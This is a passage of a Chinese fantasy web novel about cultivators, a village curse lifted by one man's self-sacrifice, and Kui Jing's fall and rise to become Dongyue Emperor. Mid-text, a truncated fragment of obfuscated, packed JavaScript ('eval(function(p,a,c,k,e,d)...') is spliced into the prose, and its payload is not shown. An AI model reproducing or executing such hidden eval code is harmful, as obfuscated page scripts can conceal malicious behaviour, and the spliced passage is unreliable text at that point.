小庄道:“不在你,怎么都算不到二庄你的头上,你是好心。” 庄新生道:“我好心办了坏事…” 小庄嗫嚅道:“不是坏事,你来了,我们学会了好多好多东西。” 庄新生道:“小庄,你别替我辩解了,都是我的错…” 大庄眉头紧皱道:“好了!他娘的,我们不是都找到仙者了吗?” 小庄闭了嘴,二庄理智回笼,道:“仙者,敢问此事是因何缘由?” 停顿片刻,几人终于想起来向隗晎征询意见。 凡人尘心,以前隗晎不明白天界的人为何会厌烦,此时,他倒是体会到了。凡人闹起来,根本不会管站在他们周围的是什么人。 隗晎清修久了,竟是有些受不住这样的嘈杂,蹙眉淡淡地道:“我不知仁义村众人命数,若是无意间逆天篡改了凡人命数,倒是可能因此招来天罚。供纸画像,鸡血添色,不敬神君,这些也都会引来神明降罪。你们说村中并无村民死亡,只是大家都分别遭受了痛苦病症折磨,日子变得越来越苦,照这样来看,村中异事更多像是因你们请神不当,招来的神明之罚。” 说完,隗晎手掌蜷握,捏碎了那薄薄的黑气,黑气中有一丝灵气溢出,气息他十分熟悉。 隗晎挥袖带起一阵山风,把那微弱的一缕灵气抛向旁边那一群人,他朝怀晓凝视道:“他们用过神池水了?” 山风和那缕溶在风中的灵气,扑打在众人脸上,杨战息低头回避,宋世平紧眉自责,南泥一副事不关己的态度,左看看右看看,视线在宋世平和杨战息身上流转。 而其他人左顾右盼,纷纷回忆起与庄氏兄弟三人的相遇。 怀晓耳上坠子晃动,温声道:“他们三人过断崖后肉身伤得太重,便带他们去用神池水洗了洗。” 怀晓担了责,可众人心虚的模样,让他的这句话听起来不太有说服力。 隗晎面漏不悦,回头对面前三人道:“路了绿今日遭难之事,本该在我为你们承愿后让你们悉数尽还,但现在看来,我的人也有一部分责任。解法我可以告诉你们,但还望你们知晓,有路了绿的事在前,我等不能为你们下山,不管解法如何,都需要你们自解。” 三人整齐跪拜在隗晎面前,齐齐感恩道:“只要仙者告知解法,我们自己闯下的祸,我们会自己去解决。” 手中掐算,隗晎道:“此法不需要那么多人。” 他蹲了下来,独独看向庄新生,道:“解法需你从此消失在世,你可愿意?” 庄新生跌回地上,受了惊吓,眼中光泽尽失。 小庄凑过来,挡在庄新生面前,直视隗晎,道:“仙者…你不要选二庄,二庄命苦…身世惨,你…你选我吧,我来做那‘解法’。” 大庄鼻子一哼,一把将小庄拉倒在地。 他凑到隗晎面前,朝身旁大喝道:“什么时候要你来了,这事你们两都不能做,老子活够了,眼睛还不好使,老子来。” 隗晎垂眼笑了笑,站了起来,手指庄新生,道:“有些事是争不来的,都是一早就注定好会是这结果。他画像那日,你们村六百多人疫病的解法,就只能由他来解。” 三人神情黯然,牙口紧咬,一副不想认命的模样。可他们刚抬起头一毫,便被隗晎伸向庄新生那一指压了回去,反复数次,他们还想再挣一挣的心,彻底死了。 三人萎了下来,对隗晎妥协。 他们三人死的是谁,根本就都不重要,重要的是能以一命换一村。 此心此境,从一开始,论的就不是怎么去做,谁来做,而是目的能成,便可以抵一切…隗晎太明白这一点了,他想起这几日在蓬莱岛受的欺辱,终换来岛主一面,也终于为他们当中的一人求得容身之所。 那百般无奈和艰辛,他独自一人受了,结果是好的,他也就心甘情愿了。 再论,他拼命争来的都如此薄弱,更何况是面前的三个□□凡人。 他脑海中不由自主地,又想起几千年前的那一个月,到底是一位仙君怎样的倾心相付,才能让他们十七人重获新生,他不敢想,却又不得不想。 他再一次朝庄新生问道:“解法要你从此消失在世,你可愿意?” 庄新生回了神,推开挡在他面前的大庄和小庄,没有犹豫,没有忐忑,已然面对,笑容满面道:“神罚是我带来的,我愿意为仁义村,以身解罪。” 手收了回来,隗晎神情恢复自然,双手再次拉起结界,引出法力,将仁义村上百人的愿力奉出,口齿宛若神明降福,振振有声道:“信者心愿,吾名隗晎,愿为其解。樱山池水底,有一灵石,拭神污渍,清解瘴气,化净邪怨,愿赠与尔,尔可愿以身承否?” 庄新生双手举过头顶,得酆小洪在其手中施术,道:“我愿意。” ‘愿力’消,法力转,金光散,隗晎左手小臂和手背的簇簇小红花一同隐了下去。 事毕,隗晎多说了一句,道:“画像是你画出的,只有你才能彻底消解,其他人替代不了。” 庄新生摇头道:“即便不是我画的,我也愿意。” 说完,看向抱着他早已哭成泪人的粗肢壮汉,庄新生反手搂抱两人,拍手安抚道:“没事的…当日你们若不捡我回去,若不是愿舍了最喜欢的白面馒头喂给我吃,若不是仁义村曾诚心待我…我怎么能苟活至今日,我其实很满足了。” 三个“若不…”,说得他本人,好似早就该死,以及此时的选择,仿佛就该是这样。 小庄鼻涕眼泪横流,在庄新生怀里蹭了蹭,道:“不是的…二庄,我很胆小,我害怕闯祸,你会教我如何不畏惧。我也很自私,我害怕你走了,就没人愿意保护我,也没有人愿意教我不怕事了。我…我还害怕,大庄以后肯定会欺负我,我只是害怕…可不可以换我替你去死…你留…留下。” 小庄呜呜声一阵,庄新生安抚了好一会儿,才摊开双手,漏出隗晎给的那道取灵石的术法印记,道:“大庄不会欺负你,你忘了…这上山一路,都是他在保护你,往后,他也会保护好你的。” 大庄默默地流泪,他说不出小庄那番挽留人的话,啜泣时,庄新生方才提到了他,他也只是默默地记下,当做逝者临别嘱托,牢牢地刻进了心里。 承愿一事了毕,隗晎撤了结界,山顶上的众人围了过来。 杨战息等人因庄氏兄弟三人上山的事,都多多少少有一部分责任,便避了隗晎,跑上石台,关心路了绿身上的情况。 唯有怀晓独自走到隗晎身旁,自责道:“他们能上山,是我疏忽大意了。” 隗晎默不作声,神色有一丝落寞,道:“此事已过,不用再提。这次去蓬莱都水司,我见到六波天主帝君了,他同意飞升后,收小音入名下。” 怀晓心下思忖,道:“不是来信说昨日回吗?是在路上遇见什么事了吗?” 隗晎点头,道:“嗯,在蓬莱岛听到了一点关于真君的消息,便耽搁了些时间。当年她回去的时候,身体不大好,受了很重的伤,这些年一直关在天界,他们没给真君好好疗伤,还罢黜真君仙职,抽了真君仙骨,剔了真君仙根,独留了一身血和那副神格…” 视线落在石台上那六名外貌从未变过的小道人身上,隗晎嘴唇微抿,神色焦灼,道:“近日,天道降下神旨,他们拉了众仙商议,要判罚真君入六道轮回渡劫。应该不久便会执行,留给我们的时间不多了,他们六人可有进展?” 怀晓攒眉道:“心境未见长…” 垂下眼眸,隗晎目光不经意落在地上那抱头痛哭的三人身上,迟疑道:“若是…若是我说我不想等了…” 他话还没说完,怀晓便答道:“可以。” 脚下走了半步,他靠近隗晎两分,在手上起一个诀。 怀晓将隗晎一起锁进了一个结界中,隐了两人谈话的声音,道:“我知你心里很急,临境这几人,有一半都是靠你渡送法力才能有现在这番突破,你不必把所有责任都继续揽在自己身上,你想怎么做,我们都支持你。” 隗晎顿了许久才道:“我并非放弃他们。” 怀晓目光坚定,话语诚挚,认真道:“我知道。” 隗晎转头看向石台上的人,道:“我打算等珪珖临境就引下雷霆。” 怀晓静静地听着,和隗晎一起望向石台上,齐齐看着那打打闹闹的一群人。 良久,隗晎眉心深愁,看起来像有什么事情很难抉择。 怀晓不常见隗晎这样,即便是为他们几人去求助于仙门洞府,他也没见隗晎这么为难过。 他安慰道:“你所有的决定,我相信都没有问题。” 隗晎声音有些颤抖,似乎这番话有些让他难以启齿,道:“怀晓你留下来吧,替我守着他们六人,其他人我信不过。按照珪珖的修为,雷霆也就是在这两三千年了,齐同舟他们六人的修炼根本赶不上。我在蓬莱都水司还查到一个飞升的方法,真君神格,可以用修为法力点飞小将,到时候即便他们依旧不能成,我也能将他们带上去。” 未做犹豫,怀晓笑容不改,恳切道:“好,我留下。” 隗晎手掌紧紧握住,十指太用劲了,以至于青白毫无血色,他眼里有一丝不甘,心里却不得不妥协,怒恨上苍,咬牙啮齿道:“我会尽快修炼,引渡升阶雷,接你们上去。” 怀晓笑道:“好,我相信你。” 隗晎的话,怀晓都是信而无疑。 因为,他们比亲友相处得还久,他们一起经历了很多事,他们从生到死,再从死到生,到如今肉身不灭,神魂坚毅…他们是彼此最难抛舍的存在。 众人虽然都不说,但怀晓知道,十七人也都是这样想的。 结界外,溪亖音手在两人衣袖上拉拉扯扯,眼睛咕噜噜转动,嘴巴张了张,她见面前两人没有反应,还在互相说着小话,便知道,两人又当他们几人面,拉设结界讲悄悄话。 她眉头轻皱,手上拉动两只的袖子的幅度越来越大,斜嘴不满,来回朝两人做眼色。 怀晓注意到了,手打一个响指,解了结界,溪亖音嗔怒道:“你们两个又讲小话!你们不带别人可以,怎么也能不带我呢!!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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为了让三人尽快回到仁义村解决村民疫病,消除邪祟瘴业,隗晎还捏了一个小诀,将人当天傍晚便传送回了村子口。 三人脚下刚沾地,落在道观神殿中的包袱冲天直降,砸在了他们身上,同时,三人眼前炸起金色烟花,伴随而来几人碎碎念的声音。 南泥道:“哎呀,又做好事一桩,我怎么这么有善心呢。” 杨战息轻哼道:“你?你少折点树苗,估计就算是有善心了。” 溪亖音疑惑道:“南泥,真不怪杨战息每次都挤兑你,这不是凉离和甘歌耗法力做的事吗?怎么又算到你头上了。” 南泥道:“小音,你这就说错了,法力的确是耗了凉离和甘歌的,看上去也好像是他两送过去的,可是!!那堆东西散落在殿外,却是我打包的啊!小音,我给你说,你可千万别学他们,你不能厚此薄彼,我没功劳也有苦劳的…你是不是不相信,真是我做的,你不信问宋世平,他和杨战息当时都看着呢。” 溪亖音道:“就知道偷捡功劳。” 南泥道:“小音…你居然不相信我,我怎么这么惨啊,最可爱的小音都不相信我做好事、积善德…我好委屈啊…” 杨战息哼了一声,宋世平道:“确实是南泥一件一件收捡好的。” 杨战息吐槽道:“宋世平!你怎么也睁眼说瞎话了?明明是乐正一挥手给拾起来的,南泥只在最后打了一个结。” 南泥道:“杨战息!!我跟你有仇吗?你…你把你刀给我拿开啊,你手不稳的,我和你无冤无仇,你伤到我怎么办!现在神池水可没灵气了,没法好好疗伤。” 乐正词媿道:“珪光刚好在琢磨丹药,正缺一个人帮忙,打伤了就直接送过去。” 溪亖音糯糯道:“原来如此,还是乐正人美心善,助人为乐。” 乐正声音冷冷道:“不是…小音你别随意给我强加这些,我不喜欢。不过是方才去神殿,那些东西挡道了。” 南泥不服气道:“就当收拾包袱这一样不算,可终归还不是我去叫了凉离和甘歌来,这才能把东西还给人家。那可是他们村子凑出来的好东西…不好好送回去,不就叫我们白占了。想想看,多不道德,我们可都是要成仙的人,我替你们挽回了多大的名声。” 溪亖音道:“南泥,为什么你不自己用法力送啊?何苦还要大老远把甘歌凉离找来。” 路了绿实诚道:“南泥最近斩杀精怪受了伤,他要节约法力。” 杨战息道:“难怪跑去要挟凉离和甘歌,说什么是他们把那三人吓成这样,才让人家损了钱财,原来是自己能力不足了。” 南泥倔强道:“你又知道了?就不能是凉离和甘歌心甘情愿过来帮忙吗!” 甘歌淡淡道:“无聊,我有事要忙。” 凉离笑呵呵道:“我是正好空闲,甘歌的话,就是百忙中抽出的时间来…哎,甘歌,你别急着走,你去哪修炼,我和你一起,你等等。” 溪亖音淡淡道:“珪珖,你这又在练什么术法啊?咱们聊聊天,你也这么刻苦?” 珪珖腼腆道:“在练信诀。路了绿都临境了,我也得赶快些,不拖大家后腿…” 金色烟花,又炸开几簇,三人又听到一串声音… 一阵“噔噔噔”的蹦跳修炼声,大小不一,长短不一,远近不一,轻重不一,一同响起,越来越远,越来越轻。 南泥道:“信诀?你这一道道的,送给谁的?这么复杂,你这都是谁,怎么听着不像你的声音…等一下!!怎么是我的声音!” 珪珖道:“哦…适才向凉离请教过信诀的手势,便顺带跟着凉离和甘歌的术法一同起了诀,我瞧瞧飞信的方位哈,这…应该是…是送到包袱落下的地方了吧。” 数道震惊声响起:“啊!!”“什么!”“你把我们的对话送过去了!”“你…” 珪珖道:“嗯,我自己没有那么多话要讲,只能把你们刚刚说的给装了进去。” “…” “…” “…” 又几簇金色烟花炸开,几道信诀在庄氏兄弟面前炸开,但里面却一点声音都没有,空余一片静默。 三人捡起地上包袱,进了村。 第二日一大早,庄新生便拿了笔去修改棚板上的那幅文曲星君画像,又去村子里收捡回了那些被学子临摹走,遭遇亵渎的小像,最后,尽心尽力,一如最初在仁义村安生时,村民对他的照顾一般,挨家挨户为其吸纳走了邪祟气息。 他身体一日比一日差,不足月余,因身体太过脏晦,他于大庄和小庄的照料下,在某日深夜睡梦中,化成了一滩黑泥。 49. 白日飞升不做仙1 大庄和小庄按照隗晎教授的方法,帮庄新生做了最后一事。 他们把庄新生躺卧化成一滩黑泥的桃木床,一同拿到荒无人烟的地方用大火烧毁,最后,火灭灰飞,只剩下一块没了灵气的灵石。 仁义村在泰山下,而泰山上有一仙府,住了一位有名的仙君,那仙君乃是妖邪鬼祟最怕的东岳帝君。两人按照吩咐,把没了灵气的灵石,压在了泰山山道第一步石阶的缝隙中,日日受诚心上山拜仙的人踩踏,以此净化灵石内的污浊。 出了仁义村这件事,隗晎把三宫九府入山口的结界设得更严了,后续几千年,基本没有生人上过上山脉,也再没有人来打扰过他们十七人。 这座山头也成了世人嘴里的大荒山… 某一日,一位砍材樵夫从山下路过,竟见到了山中福相。 他正欣喜,纠结如何上山寻一寻福气,没多久这福相便引来了百千击雷霆落于山头,那气势惊心动魄,摧山搅海,骇浪惊涛。 樵夫顿时目怔口呆,魂消胆丧,纸糊老虎,昏厥了过去。 他再醒来时,山中的异象已经停了,奇怪的是山中并未因雷电起火,他面前还出现了一条宽阔的上山道,以及他左右两侧分别蹲守了三四位道人,其中当数那着蓝白道袍的道士让人见了最心安。 再仔细看看,樵夫觉得好像又不是那么让人心安… 这道士耳上三枚耳饰着实太过妖媚。 樵夫在一名道士的参扶下,勉强坐起了身,指向前方的山道,战战兢兢道:“你…你们是…是山上下来的人?” 耳饰晃动,蓝白道袍那名道人温柔答道:“嗯,老丈身上可有不适?” 樵夫摇摇头,道:“方才山中好像出事了。” 那蓝白道袍道人继续道:“山上没出什么事,只是上面不方便再住人了。” 樵夫嗫嚅道:“原来道长是这山头道观里的人啊…只是没想到大荒山居然还有道观。” 想着山里既然能住人,应该也没什么妖孽荒诞之事,樵夫心里大安,身体恢复了劲儿,转了一个身,双手撑地站了起来。 他一边拍打身上的灰土,一边挑起道士们为他扶正的材担,感谢道:“道长是在哪处观修行呢?道号是什么?改日寻了好物,去你的地方寻神明诚心拜一拜,写在你们头上,也算做你们化来的功德。” 蓝白道袍道人笑了笑,温柔细语道:“老丈误解了,我们没有道号,只有姓名,我名怀晓。” 其他六人接连报名道: “齐同舟。” “山情。” “水意。” “家厚。” “安在心。” “净枕。” 末了,怀晓解释道:“我们如今还没有定于道观,算是散修。方才和六位同修下山时,见老丈昏迷,便停留了片刻,只是还未施与援手,老丈自己就先醒了。如今这山头不能住人,我们几人准备去寻新的地方修行。” 樵夫感叹道:“哎…你们修行也苦啊,还得自己寻落脚地。老头我看人特别准,你们几人长得也算是有福气,一定能得道成仙的。” 怀晓揖礼道:“谢老丈吉言。” 怀晓的客气,让樵夫心情大好,都忘了先前看见的惊人一幕,大笑几声,担起材火,哼起山歌,慢悠悠朝村子晃荡离去。 怀晓望向前方,对身侧几人道:“飞仙是迟早的事,这山上万年雷霆已降,我们需得去寻新的地方,隗晎渡劫成真君后,自然会来接我们,往后你们也不可懈怠,我会看着你们。” 六人双手紧握,皆对修为仅次于隗晎的怀晓抱有歉意,低沉齐声道:“是。” - 天界,司命府。 司命的大红玉袍着实亮眼,但隐匿在其中,就显得没那么特别了。 青衣换大红玉袍入了司命府后,犹如水滴汇入大海,没了踪影。 不仅如此,那大红玉袍鲜艳的颜色,也衬不出天界喜迎十仙的热闹。 今日十人飞升,热闹非凡,盛况空前,各自从中庭散去后,南泥从可韩司丈人真君处,拿到了一把阳风木做的善恶尺。听可韩司丈人真君所说,那是隗晎早先拜访可韩中司处时,特意绕道南山寻的万年木料,是借了他丹炉炼制出来的好宝贝。 南泥别提有多高兴了。 特意跑到杨战息面前炫耀了一番,还引了杨战息的长刀出来过招,百十来回合,高低立见,有了善恶尺加持的南泥,不管是武力,还是法术修为,都要压杨战息一头。 二人止战后,南泥便马不停蹄,赶到司命府,来寻隗晎。 绕了一圈又一圈,他眼花扒拉错了好几人。 他不敢像在三宫九府时,大喊寻人。 南泥细细打量司命府穿梭而过的司命,不小心地还让他看出了点东西。 这群司命好像不怎么开心,神色也都有些怪怪的,南泥这位站了许久的新贵,竟没有一人来搭理。 南泥忍不住,拉了一人道:“仙友,请问司命府的司命真君现在在何处?” 那司命今天也在中庭凑过热闹,自然是知道眼前这位全身明黄黄的仙君,是今日可韩司丈人真君特意招收入府的飞升之人,可他却并没有多热情,淡淡地,公式化道:“仙君寻的是司命府的哪位仙君呢?” 南泥微疑,脱口而出道:“你不认识我?” 那司命目不正视道:“天上这么多仙君,我不能谁都认识吧。我们司命府说大不大,说小不小,光真君一只手是数不过来的。先不说今日送下界受罚的前司命真君,光在任的就有饶笒真君,心水真君,大漠真君…” 南泥眉眼一拧,抱手赔礼,打断对方的话,道:“方才是我失礼了,敢问仙君,司命府新任真君隗晎,可在?” 那司命翻了一个白眼,道:“不在,去东极青玄府了。” 说起隗晎,那司命恍若有不满,语气都带了一丝怨气,道:“他来了和你一样,像个外人,绕了司命府两圈,问了两句前司命真君第五茗的情况,又在藏楼翻阅了命格簿子,便黑着脸,脾气特大,招呼都不打一声,抬脚飞身去了东极青玄府。” 后面挑刺的话,南泥都没听进耳朵里,当那司命说出“东极青玄府”时,南泥便自顾自呢喃道:“东极青玄府?去找凉离了?” 这想法蹦出的时候,他心里有一股不好的预感。 抬手和面前还喋喋不休吐槽的司命仙君告别,南泥朝司命府大门走了两步,手起诀落,和那司命仙君口中的隗晎一样,极其无礼,不顾仙府礼教,大门都没用脚走出去,便飞身瞬息去了东极青玄府。 东极青玄府门内,凉离和甘歌正朝外去,二人见南泥来了,放慢脚步,停了下来。 三人相遇,他们两人还没张口,南泥先把手上的善恶尺捧了起来,满心欢喜道:“正好,我本来打算待会儿再去一趟雷部的,既然甘歌在这里,你们两就一起瞧瞧吧。我的宝贝,隗七早就为我准备这东西了,还非得让可韩司丈人真君他老人家等我飞升了再拿来给我。方才我去找过杨战息,他如今可不太敌我…和我的善恶尺,你们二人要不要也来同我比划试试?” 脸上长挂笑容的凉离,此时,并没有因为南泥的分享,而感到高兴,他面色凝重,沉声唤道:“南泥…我们有事要同你说。” 心中的不安越加强烈,和十七人山顶准备迎接飞升雷时的心慌一模一样,南泥起了一刻的逃避念想,嬉笑道:“算了算了,你们两我肯定打不过,我其实是来找隗七的。我知道自己平日有些吊儿郎当,但这拿了人好处,总归该道谢的,我是诚心来寻他说一声谢谢,就不和你们闲聊了。” 不知道南泥的那句话戳中了甘歌,竟让他将落在南泥身上的目光,移转躲避到了一侧。 甘歌扭头冷冷道:“南泥,你先听凉离把话说完。” 南泥额角轻跳。 这不是一个好的征兆。 他现在是仙,飞升之后,神明的六感要比做人时更加灵敏,他的笑容渐渐地也冷了下来,试探地问道:“隗七是不是不在东极青玄府?” 甘歌答道:“嗯。” 凉离想要把准备通知几人的事说出口,南泥却先他一步举动,阻止了他张嘴。 南泥手中紧紧攥住善恶尺,凛然问道:“他在哪!我去司命府时那群司命的神色就不对,他去哪里了!” 最后那一句,几乎是南泥吼出来的。 甘歌双目微敛,看向南泥。 凉离也因他这奋力一吼,浑身一颤,震惊于从来都是嘻嘻哈哈的南泥,此刻会有如此大的反应。 凉离尽量让声音不似南泥那样起伏,沉着道:“我们慢了一步,真君被饶笒真君送去轮回受罚,连同她的命格簿子也被一起带走了。隗七在司命府了解到这些年真君在天上的事,他又在九重天之下,见到真君神格暗沉,他担心真君存了必死的心,不会愿意化劫回天,就寻了一个去地下的法子,来找我们帮他捏碎神格,自跳天门,去泰山仙府拜求解法。” 南泥全身止不住颤抖,咬紧牙关,质问道:“你们帮他了?” 甘歌再一次扭头躲避南泥的视线。 凉离眼前恍惚,仿若又见到了一个从未见过的人,先前隗晎来找他的时候,也是像南泥此刻这样,焦躁不安,神色难掩,情绪无法自控,几近发狂。 他劝解道:“隗七和我们不一样,他不会有事。” 南泥眼睛发红,震怒道:“怎么会没事!!捏碎神格!” 他嘶哑吼道:“自跳天门!!!” “噗”…他刚飞升,还没修炼出金刚身铁石心,气血上涌,一口气顺不过去,硬生生憋出了内伤,跌坐在地。 他哽咽道:“他怎么会没事…那我们呢?他不管我们了吗?小音怎么办?珪光、路了绿他们怎么办?他才送了我一把善恶尺,我很喜欢的,他怎么能和怀晓一样呢?说抛下我们就抛下,为什么不可以和我们商量商量?难道我们就这么没用吗?我们都飞仙了,会有很多办法的…” 甘歌上前,使了法力在手臂上,将南泥拖了起来,道:“还是小孩子吗?站好!” 凉离声音也提高了两分音量,道:“南泥!清醒一点!!十七人中,正因为我们能飞升,所以他们才能放心…放心地放手去做要做的事,放心地把我们放在天界,去护那几人。” 南泥傻笑道:“所以…是我们太有能力了。” 他目光直逼凉离,眼眶盈满水汽,道:“所以…隗七和怀晓才会走得干脆?” 片刻失落后,南泥又笑起来,道:“所以…都怪我…哈哈哈…” 笑着笑着,他就笑不出声来了,弱弱地道:“可我瞧我们却是不堪极了,这天上处处都是能力极高的仙君,我们什么也没做到…我们连大家在一起都做不到…更遑论先前的豪言壮志,我们还弄丢了他们…这哪里是太有能力,分明是无能为力。” 垂下头,他用额前碎发半遮住眼眶,泄下气,像一个哭闹的小孩子,低声呜咽,让一颗一颗的豆子从发丝间掉了下来。 他头上发带似有灵气,无风自舞,长长的带子,遮在了他的眼上,替他阻了大粒大粒掉下的眼泪。 善恶尺也在他的手中震鸣,帮他掩盖哭泣的声音。 这些东西却是白费了这些功夫,他的嚎啕声,越加猛烈… 凉离和甘歌静静地守着,他们也十分无力。因为,他们知道,十七人中除了溪亖音,便属南泥最重感情,也最喜欢用感情做事的。 三宫九府时,他们更多时间是跟在怀晓身边,得怀晓照料,南泥和小音就像两跟屁虫,围在怀晓身边转。溪亖音平日里就爱对怀晓撒娇,直言索求,而南泥则要扭捏许多,什么都不会直接说,喜欢的东西也不会直接要。 头上那条发带,便是他伤了自己,从怀晓和溪亖音手中诓得来的。 但这件事只有隗晎和怀晓两人知道… 那日,怀晓当场就看出了他的这份心思,曾私下对他说:若是你喜欢什么,你告诉我,我也都会给你。若是你不说,大家就不会知道,自然会先想着别人。这种伤害自己的事,以后别再做了,伤口多疼啊,以后要记得张口告诉别人。 后来,他羡慕杨战息和宋世平两兄弟,互相为其锻造兵刃,心生羡慕,听了怀晓的话,日日在山 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更狠心的话,凉离往往要比甘歌更容易说出口一些,他黯然道:“隗七神格碎了,再凭肉身飞仙是不可能,他既然去了泰山仙府,想来应该是打算舍弃肉身,修魂命,做鬼仙,再修神格。” 顿了,他望向南泥,继续道:“他若是真打算从鬼仙飞升,也不是不可以,这条路,南泥你该清楚的,在地下做鬼的那些年,你都忘了吗?他还有机会。” 凉离从怀中掏出了一张方巾递给南泥,那是怀晓在雷霆下来时,交于他的,这本来是怀晓让他带到天上给溪亖音用,没想到现在却先给南泥用上了。 南泥接过方巾,擦净面颊,怅然若失道:“我们之前都是听隗七和怀晓的,那以后他可有做安排?” 凉离道:“没有,他能做的,以及他能为我们做的,都做了。以后需得靠我们自己。” 南泥蹙眉道:“他真不管小音了?小音怎么办?” 凉离道:“小音不能总做一辈子小孩。” 南泥伤心道:“别像告诉我这样直接告诉她,怀晓没上来,她再知道隗七下去了,她会受不住的。” 凉离和甘歌齐声应道:“好。” 可是,后续却一点都不好… 所有事,都出乎了众人的预料。 他们既没有一飞升天,便能和众仙君叫板的机会,他们也没有那个能力,实现当年在洞口许下的诺言,去证明第五茗无错无罪。 这一万年来,他们虽修得仙身,却未怎么修获心力。 怀晓未渡雷劫,隗晎又跳了下去,大热门的他们,没了隗晎和怀晓的庇护,前路行的十分艰难。 因为隗晎私自毁神格的行为,天帝震怒,不仅在泰山连降大雨,以示惩戒那肉身孱弱,跪在泰山脚的凡人隗晎,还连同一起飞升上天的九人,天帝也不再待见。 剩下九人,失魂落魄之时,不约而同遭到了仙界同僚的各方欺辱。 在天界接二连三地出错,他们只得认命,安安分分地在天做了起小仙。 后来九人商议,各自沉淀下来,倚靠隗晎为他们寻得的仙府好好修炼,攒法力,升仙阶,争取早日修出本事。 在天界,九人虽只算得资质平平,可隗晎在九人飞升前都为其寻了一处不错的仙府,和一位不错的主君。没多久,凉离和甘歌晋了星君之位,九人日子慢慢变得轻松起来,可他们之间也受天界攀比之心影响,关系渐渐地淡漠了。 最后一次九人齐聚,还是飞升千年后,他们一同去泰山寻人。 听说隗晎入了泰山做一名洒扫,他们本来想去寻隗晎,结果刚到泰山脚下,便被一道信诀遣走了。 那信中写道: 如今鬼身,不可相见,不可有牵连。 上君之事,众人切勿插手,勿多言。 谨言慎行,各自珍重。 安好,勿念。 信诀上的气息大家都熟悉,那是隗晎的。 九人在山脚折返了回去,也不能说是立即回去了,他们一起转头去了三宫九府的那座山头。 ‘大荒山’早已是名副其实的荒山,除了青山绿植,飞禽走兽,里面再没有活物。 道观神殿周围遍布尸骸,有人的,有动物的,还有一些看不出来是什么东西的…房屋坍塌凌乱,山风吹得瓦砾墙灰到处都是。 九人可能是经历得太多了,除了南泥和溪亖音,其他几人,都未流露出太多情绪。 南泥拉着溪亖音,煽动珪光和路了绿,一起干了一件特别无聊的事。 他们给破殿外的白骨拼了尸… 不知道是不是凑巧,那骸骨能拼出来的数量,正好是七副,更凑巧的是男的大骨骼正好五副,女的小骨骼恰好两副。 若不是骨骼的体型大小对不上几人脑海中的身影,他们估计当场便要胡思乱想了。 他们埋了那七副白骨,顺势借尸骨的力量,为怀晓等人祈福,然而却操作不当,差一点险些丢了千万年的修为,白白全散到尸骨身上。幸好,在一旁的凉离和甘歌眼疾手快,把几人拉了回来,也因此,南泥安分了一阵,不再拉动别人一起胡作非为。 九人回了天,自天门分别后,再没有人特意去打探过隗晎和怀晓等人的消息,而天界,却意外的流传起越来越多的关于隗晎的事。 这第一条,是南泥听来的。 他某日路过司命府时,那进进出出的司命,无一不在感叹,在司命府做了一日神仙,捏碎神格跳下天门,跑去泰山做孱弱凡人的隗晎,居然能肉身死后,修出魂命。 紧接着,过了近千年,天界无飞升小仙,九重天之下却多出一副神格。 而那些日子,雷部只为地下的小鬼降过雷霆,众仙心中好奇,纷纷跑去九重天瞧个究竟。 珪珖和路了绿也去凑了热闹,因此,他们听来了关于隗晎的第二条消息。 东岳帝君收了一个小厮做近侍,不过千年的光景,那鬼仙修为了得,借了处罚小鬼的雷霆,修出了神格,位列仙班,成了地仙。 那神格金光闪闪,熠熠生辉,很是耀眼,上面隶属的名字,更是醒目又扎心——隗晎二字,让凑热闹的仙君们心头一震,脑中不由自主频频想起千年前,十人的飞升福相。 50. 白日飞升不做仙2 隗晎神格再入九重天,让天界仙君对在天其他九人的态度,也发生了翻天覆地的变化。 琼浆玉液,蟠桃盛宴,鲜花嫩叶,奇珍异宝,无数佳品,由那些曾经奚落过他们九人的仙君们,举手相奉于九人府门外。九人耳边再没有风言凉语,周围也没了凉薄寡性的“坏人”,俱成了口有芬芳,手有余香的“朋友”。 九人日子逐渐更加舒坦,可他们心里却空落落的。 因隗晎几次随东岳帝君上天,他都未单独来寻过几人,甚至连溪亖音,他都未曾去信关心过。 见惯了天界的为仙之道,九人便以为隗晎和天上仙一般了。 起初,几人心中残留的相认冲动,也渐渐对隗晎冷了下来。 又不知过了多久,甘歌、杨战息和宋世平三人从雷部内,知晓了隗晎拜求渡劫雷之事,其中,最让三人震惊的是,隗晎居然求的是那飞跃帝君之阶的千雷万霆。 三人把这消息告诉了其他六人。 却是相顾无言,思绪万千,各自回到了各自的仙门府院,等着隗晎的下一个消息。 他们并非嫉妒,更多是惊讶,诧异,担忧,和无奈。 千雷万霆非常人能引。 一个不当,一击便会让渡劫仙永劫不复。 隗晎等了许久。 因先前毁神格,跳天门之事,雷部没有一位真君以上的仙君,愿意为他引雷霆。 直到人界发生了一件趣事,也是一件隗晎做下的美事,天界雷部才为他松了口。 雷部将帅风有情,因皇城周边出现了一批恶鬼邪祟,那几日,他奉天帝之命,下界护皇城和人帝,结果他刚到第二日,跑来找他要渡劫雷的隗晎,便“大义灭亲”,顺手解决了那群恶鬼。 其中有一只漏网之鱼,隔了一日,公然不死心地跑到皇城脚下示威,风有情当着隗晎的面大手一挥,用雷电将其击得粉身碎骨,血肉成泥。 前一日比风有情还狠心的隗晎,却不知道是心疼恶鬼呢?还是为了在凡人和人帝面前挣一个表现?等到风有情收了术法后,他走了出皇城,不顾血污泥泞,徒手捧起地上的泥沙,为恶鬼敛了尸,还招来万花种子,在那片泥土上,耗费法力养出了一片花田。 那场景,我见犹怜,世人震撼。 人人就此一事纷纷称赞,对神明之心更加敬重,人人心中都生出无二遐想:仙君仁心,不论出身,既能以鲜花葬恶鬼,想来他们这些凡人,也能在某日某时得到垂怜。 尤其命苦的凡人,更加信了神鬼之说,在神殿庙堂磕头祈愿。 至于仙心是否真的会眷顾信徒,无人得知,但这美名和功德,算是被天界挣了去。 这件事没过几日,风有情以此为由,替隗晎求了雷霆恩旨,在泰山仙府上引来了千雷万霆。 隗晎修为了得,不过月余,便接完了所有雷霆,顺利升阶,成为新一任东岳帝君。 上一任东岳帝君就此隐退,逍遥世间。 隗晎做一方管事者,九人最是高兴,他们终于不用再避讳飞升前的身世,坦坦荡荡地去寻新任东岳大帝——隗晎。然而,天界向泰山道贺的神旨还没发出去,隗晎倒先呈上了一份文书,他希望天界能放权于六天宫,恳求天帝不要再沾染轮回一事。 